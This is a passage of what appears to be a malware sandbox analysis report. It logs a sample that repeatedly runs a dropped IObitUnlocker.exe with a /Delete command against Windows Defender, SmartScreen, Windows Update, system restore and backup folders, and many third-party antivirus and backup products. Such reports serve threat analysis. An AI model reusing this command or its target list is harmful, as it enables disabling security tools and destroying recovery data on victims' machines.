Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2520
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2308
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5288
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl 